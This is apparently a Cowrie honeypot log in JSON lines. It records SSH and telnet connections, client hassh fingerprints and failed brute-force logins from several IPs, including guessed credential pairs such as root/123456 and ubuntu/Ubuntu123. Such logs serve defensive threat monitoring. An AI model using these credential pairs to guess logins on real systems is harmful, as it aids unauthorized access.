{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f0:f9:5c:77:11:4c:60:99:dd:9d:80:ae:60:8a:58:7b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH95im1Eyv8jNKMwVatDEvOf8arJ/+cWMeIvMniCnhLQ","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint f0:f9:5c:77:11:4c:60:99:dd:9d:80:ae:60:8a:58:7b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:59.145817Z","src_ip":"191.101.33.110","session":"15ef84687538","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f0:f9:5c:77:11:4c:60:99:dd:9d:80:ae:60:8a:58:7b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH95im1Eyv8jNKMwVatDEvOf8arJ/+cWMeIvMniCnhLQ","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:59.148766Z","src_ip":"191.101.33.110","session":"15ef84687538","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:59.177997Z","src_ip":"191.101.33.110","session":"15ef84687538","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":53062,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cdf360b162b","protocol":"ssh","message":"New connection: 91.92.40.176:53062 (10.17.0.5:22) [session: 7cdf360b162b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:14:01.561013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:14:01.565719Z","src_ip":"91.92.40.176","session":"7cdf360b162b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:14:01.648725Z","src_ip":"91.92.40.176","session":"7cdf360b162b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@123","message":"login attempt [ubuntu/ubuntu@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:14:01.902306Z","src_ip":"91.92.40.176","session":"7cdf360b162b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:14:02.985426Z","src_ip":"91.92.40.176","session":"7cdf360b162b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.10","src_port":53518,"dst_ip":"10.17.0.5","dst_port":22,"session":"07ccb56bfd7c","protocol":"ssh","message":"New connection: 91.92.40.10:53518 (10.17.0.5:22) [session: 07ccb56bfd7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:14:03.877924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:14:04.399300Z","src_ip":"91.92.40.10","session":"07ccb56bfd7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:14:04.405484Z","src_ip":"91.92.40.10","session":"07ccb56bfd7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:14:06.216025Z","src_ip":"91.92.40.10","session":"07ccb56bfd7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:14:07.536422Z","src_ip":"91.92.40.10","session":"07ccb56bfd7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":44958,"dst_ip":"159.203.135.109","dst_port":23,"session":"cbd442370c37","protocol":"telnet","message":"New connection: 137.184.5.188:44958 (159.203.135.109:23) [session: cbd442370c37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:14:32.769049Z"}
{"eventid":"cowrie.session.closed","duration":49.218520641326904,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:15:21.987492Z","src_ip":"137.184.5.188","session":"cbd442370c37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.10","src_port":35238,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bcc27ccefd5","protocol":"ssh","message":"New connection: 91.92.40.10:35238 (10.17.0.5:22) [session: 5bcc27ccefd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:15:55.592603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:15:56.134456Z","src_ip":"91.92.40.10","session":"5bcc27ccefd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:15:56.137389Z","src_ip":"91.92.40.10","session":"5bcc27ccefd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:15:57.465259Z","src_ip":"91.92.40.10","session":"5bcc27ccefd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:15:58.661384Z","src_ip":"91.92.40.10","session":"5bcc27ccefd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.209.169","src_port":56476,"dst_ip":"159.203.135.109","dst_port":23,"session":"c290a45e9962","protocol":"telnet","message":"New connection: 128.199.209.169:56476 (159.203.135.109:23) [session: c290a45e9962]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:16:23.760653Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":45692,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb1fa913e5b6","protocol":"telnet","message":"New connection: 107.6.151.170:45692 (159.203.135.109:23) [session: cb1fa913e5b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:16:29.580432Z"}
{"eventid":"cowrie.session.closed","duration":0.0040912628173828125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:16:29.584415Z","src_ip":"107.6.151.170","session":"cb1fa913e5b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":48312,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f9d3a0eade9","protocol":"ssh","message":"New connection: 91.92.40.176:48312 (10.17.0.5:22) [session: 2f9d3a0eade9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:16:34.153073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:16:34.367496Z","src_ip":"91.92.40.176","session":"2f9d3a0eade9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:16:34.370028Z","src_ip":"91.92.40.176","session":"2f9d3a0eade9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu123","message":"login attempt [ubuntu/Ubuntu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:16:34.696223Z","src_ip":"91.92.40.176","session":"2f9d3a0eade9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:16:35.779215Z","src_ip":"91.92.40.176","session":"2f9d3a0eade9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":50182,"dst_ip":"159.203.135.109","dst_port":23,"session":"53976a5c4fbe","protocol":"telnet","message":"New connection: 107.6.151.170:50182 (159.203.135.109:23) [session: 53976a5c4fbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:16:37.229809Z"}
{"eventid":"cowrie.session.closed","duration":0.006535053253173828,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:16:37.236209Z","src_ip":"107.6.151.170","session":"53976a5c4fbe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.309723854064941,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:16:39.070275Z","src_ip":"128.199.209.169","session":"c290a45e9962","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.108.61","src_port":40582,"dst_ip":"10.17.0.5","dst_port":22,"session":"195e93a97f2f","protocol":"ssh","message":"New connection: 144.91.108.61:40582 (10.17.0.5:22) [session: 195e93a97f2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:17:33.190760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:17:33.194422Z","src_ip":"144.91.108.61","session":"195e93a97f2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:17:33.289995Z","src_ip":"144.91.108.61","session":"195e93a97f2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ont","password":"ont789","message":"login attempt [ont/ont789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:17:33.577152Z","src_ip":"144.91.108.61","session":"195e93a97f2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:17:34.675260Z","src_ip":"144.91.108.61","session":"195e93a97f2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.10","src_port":40248,"dst_ip":"10.17.0.5","dst_port":22,"session":"128764cb46c2","protocol":"ssh","message":"New connection: 91.92.40.10:40248 (10.17.0.5:22) [session: 128764cb46c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:17:37.565461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:17:37.937492Z","src_ip":"91.92.40.10","session":"128764cb46c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:17:37.943735Z","src_ip":"91.92.40.10","session":"128764cb46c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:17:39.853044Z","src_ip":"91.92.40.10","session":"128764cb46c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":46894,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8365fe0391e","protocol":"telnet","message":"New connection: 137.184.5.188:46894 (159.203.135.109:23) [session: c8365fe0391e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:17:40.449878Z"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:17:41.150311Z","src_ip":"91.92.40.10","session":"128764cb46c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.163.244.125","src_port":38028,"dst_ip":"159.203.135.109","dst_port":22,"session":"bbdda8448f7d","protocol":"ssh","message":"New connection: 192.163.244.125:38028 (159.203.135.109:22) [session: bbdda8448f7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:17:47.368227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:17:47.371282Z","src_ip":"192.163.244.125","session":"bbdda8448f7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:17:47.448199Z","src_ip":"192.163.244.125","session":"bbdda8448f7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xvg","password":"xvg123","message":"login attempt [xvg/xvg123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:17:47.680688Z","src_ip":"192.163.244.125","session":"bbdda8448f7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:17:48.760246Z","src_ip":"192.163.244.125","session":"bbdda8448f7d","protocol":"ssh"}
